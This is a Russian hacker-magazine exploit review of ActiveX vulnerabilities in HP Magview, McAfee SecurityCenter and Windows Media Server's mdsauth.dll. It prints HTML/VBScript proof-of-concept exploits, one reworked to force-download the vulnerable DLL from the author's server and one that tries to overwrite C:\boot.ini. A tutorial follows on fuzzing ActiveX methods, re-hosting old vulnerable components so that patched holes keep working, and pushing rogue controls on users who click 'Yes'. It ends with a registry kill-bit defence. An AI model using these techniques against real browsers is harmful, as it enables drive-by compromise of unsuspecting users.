Обзор эксплойтов
Персональный компьютер стремительно превращается в «интеллектуальный терминал», подключенный к сети. Все больше и больше производителей мигрируют в сторону ActiveX-компонентов, лавинообразный рост уязвимостей в которых я постарался детально описать, чему и посвящен весь сегодняшний обзор эксплойтов. Мы не только покажем, как реанимировать эксплойты, выловленные в дикой природе, но и расскажем о технике самостоятельного поиска дыр в ActiveX-компонентах.
Переполнение буфера в Hewlett-Packard Magview ActiveX
Brief

11 мая 2007 кода коллектив The Goodfellas Security Research Team обнаружил уязвимость типа переполнения буфера в ActiveX-компоненте Magview от Hewlett-Packard, входящем в состав продукта HP Digital Imaging Toolbox. Ошибка возникает при передаче методу DeleteProfile неожиданно длинной строки, что приводит к аварийному завершению работы IE или переходу управления на shell-код, отправляемый вместе с переполняемой строкой и расположенный в стековой памяти. Для реализации атаки хакеру достаточно заманить жертву на web-страницу с эксплойтом или послать ей html-письмо. За более подробным описанием уязвимости обращайся на www.securityfocus.com/bid/23941.
Target
Ошибка содержится в динамической библиотеке hpqvwocx.dll с версией файла 1.0.309 (версия продукта — 2.0.309). О других версиях ничего неизвестно.
Exploit
Демонстрационный эксплойт, вызывающий аварийное завершение IE, лежит на www.securityfocus.com/bid/23941. Однако он неявно требует, чтобы соответствующий ActiveX-компонент уже был установлен на атакуемой системе, что достаточно маловероятно, поэтому я немного доработал его, выложив уязвимый ActiveX на свой сервер:¶
Исправленный код демонстрационного эксплойта
<html>
<head>
<title>
Prove of Concept -> Hewlett Packard Stack Overflow
in hpqvwocx.dll v1.0.0.309
</title>
</head>
<h4>
Prove of Concept -> Hewlett Packard Stack Overflow
in hpqvwocx.dll v1.0.0.309<br>
Tested in Windows XP Service Pack 2<br>
Discovered by Goodfellas Security Research Team<br>
Url ->http://www.hp.com<br>
author -> callAX<br>
mail -> callax@shellcode.com.ar<br>
http://www.shellcode.com.ar / http://www.securenetworks.ch
</h4>
<object classid='clsid:BA726BF9-ED2F-461B-9447-CD5C7D66CE8D' id='pAF'
codebase='http://nezumi.org.ru/souriz/hack/hpqvwocx.dll' >
</object>
<input type="button" value="Boom" language="VBScript" OnClick="OuCh()">
<script language="VBScript">
sub OuCh()
Var_0 = String(1000000, "A")
pAF.DeleteProfile Var_0
End Sub
</script>
</html>
Solution
Запретить IE использовать ActiveX-компонент с CLSID, равным BA726BF9-ED2F-461B-9447-CD5C7D66CE8D, по методике, описанной в разделе full disclose.
Переполнения буфера в McAfee Security Center ActiveX
Brief
В McAfee Security Center (конструктивно реализованном в виде ActiveX-компонента) обнаружено сразу несколько ошибок переполнения буфера, допускающих удаленный захват управления. Дефекты проектирования гнездятся в методах IsOldAppInstalled, GetUserRegisteredForBackend и IsOldAppInstalled, сосредоточенных в динамической библиотеке McSubMgr.DLL. Подробнее об этом можно прочитать на www.securityfocus.com/bid/23909, www.securityfocus.com/bid/23888 и www.securityfocus.com/archive/1/468046.
Targets
Уязвимость подтверждена в следующих версиях McAfee VirusScan: 10.0.27, 10.0.21; в McAfee SecurityCenter: 7.0, 6.0.22, 6.0, 4.3; в McAfee SecurityCenter 4.3.
Exploits
В Сети валяется множество боевых эксплойтов, которые можно скачать, например, с www.milw0rm.com/exploits/3893 и downloads.securityfocus.com/vulnerabilities/exploits/23888.c, downloads.securityfocus.com/vulnerabilities/exploits/Mc_Afee_Viruscan_ActiveX_exp.txt. Однако все они рассчитывают, что соответствующий ActiveX-компонент уже установлен. Поэтому рекомендуется слегка доработать код эксплойтов, включив в тэг <object classid="clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602"> атрибут CODEBASE для принудительной загрузки ActiveX-компонента с указанного URL, как было показано в предыдущем примере. Демонстрационный код эксплойта приведен ниже.
HTML-код демонстрационного эксплойта
<html>
<h4>
Prove of Concept -> Mc Afee Viruscan Stack Overflow v10.0.21
http://download.mcafee.com/fr/ author -> callAX
mail -> callax@shellcode.com.ar
Url -> http://www.shellcode.com.ar / http://www.securenetworks.ch
</h4>
<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='Crash'>
</object>
<input type="button" value="crash" language="VBScript" OnClick="crashme()">
<script language="VBScript">
sub crashme()
Arg0 = String(150000000,"S")
Arg1 = String(3000, "x")
crash.GetUserRegisteredForBackend Arg0, Arg1
end sub
</script>
</html>
Solution
Установить исправленные версии McAfee SecurityCenter (7.2.147) и McAfee SecurityCenter (6.0.0.25) и/или запретить IE использовать ActiveX-компонент с CLSID, равным 9BE8D7B2-329C-442A-A4AC-ABA9D7572602, по методике, описанной в разделе full disclose.
Удаленное выполнение кода в Windows Media Server
Brief
В начале мая хакер по имени Andres Tarasco Acun обнаружил дыру в ActiveX-компоненте Windows Media Server, опубликовав свое сообщение на www.514.es/2007/05/ms07027_mdsauthdll_permite_la_1.htm. Из сообщения следует, что метод SaveAs, реализованный в динамической библиотеке mdsauth.dll, позволяет перезаписывать существующие файлы, внедряя в них произвольный код, без выдачи запроса на подтверждение! По данным Security Focus, ошибку нашел Cocoruder из Fortinet Security Research со ссылкой на всю ту же mdsauth.dll (www.securityfocus.com/bid/23827). Однако, если скачать mdsauth.dll c сервера www.dll-downloads.com/hosts.asp?mdsauth и заглянуть внутрь нее дизассемблером, мы вообще не увидим никакого метода SaveAs. Более того, у нее даже отсутствует CLSID, и попытка регистрации этой динамической библиотеки как ActiveX-компонента ни к чему хорошему не приводит. Тем не менее Microsoft подтвердила наличие этой уязвимости во всех своих операционных системах линейки NT: от W2K SP4 и до Висты включительно.
Targets
По утверждению Microsoft, уязвимости подвержены следующие системы: Microsoft W2K SP4, XP SP 2, Server 2003 SP2, Server 2003 SP1 Itanium-based, Server 2003 SP2 Itanium-based. Примечание: на своей машине с W2K SP4 компонента mdsauth.dll я так и не обнаружил, поэтому, чтобы код эксплойта, приведенный на www.securityfocus.com и www.milw0rm.com, возымел ожидаемое действие, в тэг OBJECT необходимо добавить атрибут CODEBASE для загрузки старой версии mdsauth.dll. В противном случае IE автоматически загрузит исправленную версию mdsauth.dll с серверов Microsoft.
Exploit
Демонстрационный proof of concept exploit лежит на www.milw0rm.com/exploits/3892 и пытается перезаписать файл C:\boot.ini. Пытается, потому что при запуске IE из-под обычного пользователя это у него не получается.
Исходный код оригинального эксплойта, пытающегося перезаписать C:\boot.ini
<html>
<title>
MS07-027 mdsauth.dll NMSA Session Description Object SaveAs control,
arbitrary file modification
</title>
<body>
<OBJECT id="trgt" classid="clsid:d4fe6227-1288-11d0-9097-00aa004254a0">
</OBJECT>
<script language="vbscript">
trgt.SessionDescription="MS07-027 mdsauth.dll Proof of Concept exploit"
trgt.SessionAuthor="Andres Tarasco Acuna"
trgt.SessionEmailContact="atarasco_at_gmail.com"
trgt.SessionURL="http://www.514.es"
trgt.SaveAs "c:\boot.ini"
</script>
</body>
</html>
Solution
Запретить IE использовать ActiveX-компонент с CLSID, равным D4FE6227-1288-11D0-9097-00AA004254A0, по методике, описанной в разделе full disclose.
Исследование ActiveX-компонентов своими руками
ActiveX-компоненты, изначально ориентированные на IE и WWW, довольно быстро завоевали популярность и в других сферах, потеснив классический OLE. Фактически и OLE-, и ActiveX-компоненты построены по технологии COM, представляющей собой унифицированный механизм экспорта сервисов. Компонентная модель завоевала признание поклонников Visual Basic'а, DELPHI и отчасти Microsoft Visual C++, существенно упросив реализацию пользовательского интерфейса. С другой стороны, появилось множество фирм, предоставляющих готовые наборы компонентов на все случаи жизни, легко встраиваемые в любое приложение.
Как следствие, многие программы (даже не имеющие никакого отношения ни к WWW, ни к интернету) при установке на компьютер тянут за собой кучу ActiveX-компонентов, доступных не только из приложения, их установившего, но в том числе и через IE. Достаточно открыть страничку, вызывающую ActiveX-компонент и обращающуюся к любому из его методов. Поскольку ActiveX-компонент представляет собой обычный PE-файл с расширением OCX или DLL, ему доступны все ресурсы компьютера, которыми только располагает пользователь, запустивший IE.
Для реализации удаленной атаки хакеру необходимо найти ActiveX-компонент с потенциально опасными или дефектными методами (например, позволяющими перезаписывать произвольный файл на дисковой системе или содержащими ошибку переполнения). Естественно, в первую очередь необходимо сфокусироваться на ActiveX-компонентах, входящих в штатную поставку операционной системы или устанавливаемых широко распространенными приложениями.
Впрочем, по умолчанию IE устанавливает подписанные ActiveX-компоненты без подтверждения пользователя, а потому загрузить их на целевой узел не проблема. Кстати говоря, практически все ActiveX-эксплойты, встретившиеся мне в Сети, пренебрегали форсированной загрузкой компонентов, полагая, что они (компоненты) уже присутствуют на компьютере жертвы, и потому срабатывали далеко не в 100% случаев. Но использовать чужие эксплойты не есть хорошо, поскольку свежие дыры достаточно быстро затыкаются, и, чтобы выжить в этом агрессивном мире, хакеру необходимо научиться исследовать ActiveX-компоненты самостоятельно.
Нашим основным орудием станет утилита ActiveX Control Test Container (TSTCON32.EXE), входящая в штатный комплект поставки Microsoft Visual Studio. Запустив ее на выполнение, в меню Edit найдем пункт Insert New Control и в открывшимся диалоговом окне выберем любой понравившийся нам ActiveX-компонент (например, Calendar Control 8.0).
Теперь лезем в меню Control, видим там пункт Invoke Methods и получаем перечень доступных методов с возможностью задания параметров вызова. Методов обычно бывает очень много, и даже такой простой элемент управления, как «Календарь» содержит их более полусотни. Большинство методов имеет вполне осмысленные имена (типа PreviousDay, NextDay, Today), понятные даже без описания.
Однако экспериментировать с параметрами внутри TSTCON32.EXE чрезвычайно неудобно (в частности, мы не можем формировать строки произвольной длины иначе, чем вставляя их в окно редактирования). Поэтому лучше вызывать ActiveX-компоненты из HTML-документов, открываемых в IE, но для этого нам необходимо узнать их CLSID, подсмотреть который можно с помощью другой хорошей утилиты (также входящей в состав Microsoft Visual Studio) – OLE/COM Object Viewer (OLEVIEW.EXE).
Запустив ее на выполнение, находим в дереве объектов наш «Календарь» («Object Classes -> Control -> Calendar Control 8.0») и, щелкнув по нему левой клавишей мыши, выбираем в контекстном меню пункт Copy CLSID to Clipboard или сразу Copy HTML <object> Tag to Clipboard.
Теперь создаем новый HTML-документ, вставляем в него тэг <object> вместе с CLSID-идентификатором из буфера обмена и добавляем атрибут id, задающий имя переменной, через которую будет осуществляться доступ к методам этого ActiveX-компонента. Имя переменной может быть любым (естественно, не вообще любым, а любым в рамках языков Java- и Visual Basic Script).
Вызов методов может осуществляться из любого места HTML-документа. Для автоматического вызова лучше всего повеситься на событие onload, а для вызова по нажатию клавиши (или другого элемента управления) — на событие OnClick. Подробности можно почерпнуть из любой книги по web-программированию или из MSDN (смотри раздел Internet Tools and Technologies). Ниже приведен предельно простой код, демонстрирующий автоматический вызов методов ActiveX-компонента на JavaScript (сам компонент должен быть предварительно установлен на компьютер).
Техника автоматического вызова методов ActiveX-компонента, осуществляемая сразу же после завершения загрузки HTML-страницы
<object classid="clsid:8E27C92B-1264-101C-8A2F-040224009C02" id="obj_name"> </object>
...
<SCRIPT FOR=window EVENT=onload LANGUAGE="JScript">
obj_name.Xmethod(arg1, arg2, argN)
</SCRIPT>
Для форсированной загрузки ActiveX-компонентов достаточно добавить к тэгу <object> атрибут CODEBASE, указав URL компонента и, при необходимости, версию файла. Если версия уже установленного компонента выше или равна обозначенной, загрузка осуществляться не будет, и, соответственно, наоборот.
Форсированная загрузка ActiveX-компонентов с указанного URL
<object
classid="clsid:8E27C92B-1264-101C-8A2F-040224009C02"
CODEBASE="http://www.foo.com/bar.ocx#Version=a,b,c,d"
id="obj_name">
</object>
Ниже приводится законченный HTML-текст, вызывающий «Календарь» и позволяющий менять дату путем нажатия на кнопки, расположенные ниже.
HTML-код, вызывающий ActiveX-компонент «Календарь» и позволяющий с ним взаимодействовать
<HTML>
<BODY>
<object classid='clsid:8E27C92B-1264-101C-8A2F-040224009C02' id='test'> </object>
<BR>
<input language=VBScript onclick=prev() type=button value="<-- prev ">
<input language=VBScript onclick=tday() type=button value=" [ today ] ">
<input language=VBScript onclick=nxtd() type=button value=" next --> ">
<script language='vbscript'>
sub prev
test.PreviousDay
end sub
sub tday
test.Today
end sub
sub nxtd
test.NextDay
end sub
</script>
</BODY>
</HTML>

Вновь возвратившись к утилите ActiveX Control Test Container, среди прочих компонентов мы обнаружим Adobe Acrobat Control for ActiveX (если, конечно, Acrobat Reader установлен на целевой машине), один из методов которого зовется LoadFile и, в полном соответствии со своим названием, загружает pdf-файл для его отображения.
Для разнообразия HTML-код, демонстрирующий технику его вызова, написан на JavaScript.
HTML-код, вызывающий метод LoadFile ActiveX-компонента Adobe Acrobat Control for ActiveX при открытии страницы
<HTML>
<BODY>
<object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000"
WIDTH=600 HEIGHT=600 id=acrobat>
</object>
<SCRIPT FOR=window EVENT=onload LANGUAGE="JScript">
acrobat.LoadFile ("L:\\exrev.pdf")
</SCRIPT>
</BODY>
</HTML>
Передавая методу LoadFile строки переменной длины в качестве аргумента, пытаемся выяснить, происходит переполнение буфера или нет. В данном случае переполнение не происходит, поэтому необходимо продолжить исследования, перебирая ActiveX-компоненты один за другим.
Причем создавать строковые аргументы вручную совершенно необязательно и можно воспользоваться языковыми библиотеками или, на худой конец, циклами (в частности, команда String(69000000,"A"), поддерживаемая Visual Basic Script, конструирует строку, состоящую из 690 миллионов символов «A»).
Еще пара замечаний напоследок. Как мы уже и говорили, для реанимации эксплойтов, добытых в Сети, обычно требуется задействовать форсированную загрузку ActiveX-компонентов, указав URL, но откуда нам знать, какой именно URL указывать?
Если повезет, необходимый ActiveX-компонент отыщется прямо на web-сервере компании (смотрим перечень online-служб, находим необходимую, выдираем из HTML-кода нужный URL, вставляем его в эксплойт и радуемся жизни). Однако если ActiveX-компонент входит в состав продукта, устанавливаемого на машину, то никакого URL нарыть не удастся. Хуже того, дыры в ActiveX-компонентах, выложенных на официальных серверах, достаточно быстро закрываются, и эксплойты перестают работать. Решение состоит в размещении ActiveX-компонента на нашем собственном web-сервере (или бесплатном хостинге). Но для этого уязвимый ActiveX-компонент необходимо как-то заполучить. А как его заполучить? Да очень просто — воспользоваться услугами служб, хранящих кучу разнообразных динамических библиотек и раздающих их всем желающим на халяву (например, www.dynamiclink.nl или www.dll-downloads.com).
Собственно говоря, мы можем написать свой собственный ActiveX-компонент, делающий с компьютером жертвы все что угодно. Единственная проблема – в цифровой подписи, точнее, в отсутствии таковой, ведь неподписанные ActiveX-компоненты IE по умолчанию загружает только после выдачи подтверждения. Впрочем, выдача цифровой подписи — достаточно формальная процедура, да и большинство пользователей на все непонятные вопросы отвечает «Yes», не задумываясь. О технике создания ActiveX-компонентов на чистом Си можно прочитать в цикле статей на www.codeproject.com/com/com_in_c1.asp.
Но прежде чем атаковать других, необходимо обезопасить свой компьютер, чтобы нас не поимели, а то какие же мы будет хакеры после этого? Самое простое (и самое хакерское) решение — не использовать этот ослоподный IE, отдав предпочтение Рысю, Горящему Лису, Опере или любому другому браузеру, не поддерживающему ActiveX. Также необходимо перестроить IE так, чтобы он не был браузером по умолчанию, в противном случае щелчок по ссылке, содержащейся в письме (или HTML-код, автоматически запускающий браузер), порвет нас как Тузик грелку.
Однако что делать, если нам необходимо просматривать сайты, основанные на ActiveX? Можно, конечно, включить подтверждение на запуск и загрузку ActiveX-компонентов, включая подписанные. Но тогда IE задолбает нас подтверждениями, да и к тому же если компьютер приходится делить с другими членами семьи (женой, детьми), попробуй им объясни, когда можно нажимать «Yes», а когда нет.
Покопавшись в базе знаний Microsoft, мы найдем любопытную заметку «How to stop an ActiveX control from running in Internet Explorer», описывающую, как отключить выборочные ActiveX-компоненты, не затронув остальных (http://support.microsoft.com/kb/240797). Запускаем «Редактор Реестра», заходим в ветвь HKLM\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility, находим CLSID уязвимого ActiveX-компонента (например, для hpqvwocx.dll это будет BA726BF9-ED2F-461B-9447-CD5C7D66CE8D). Если же его там нет — создаем. Меняем значение параметра Compatibility Flags (типа DWORD) на 0x400 - и все! Теперь этот ActiveX-компонент больше вызываться из IE не будет! Причем наличие самого ActiveX-компонента на машине необязательно. Да, при форсированной загрузке IE по-прежнему продолжит скачивать его из инета, но с вызовом методов конкретно обломится. Поэтому для защиты своего компьютера достаточно просматривать свежие ActiveX-эксплойты и блокировать их CLSID'ы (или же, как вариант, устанавливать их обновленные версии, конечно, при условии, что они есть).

















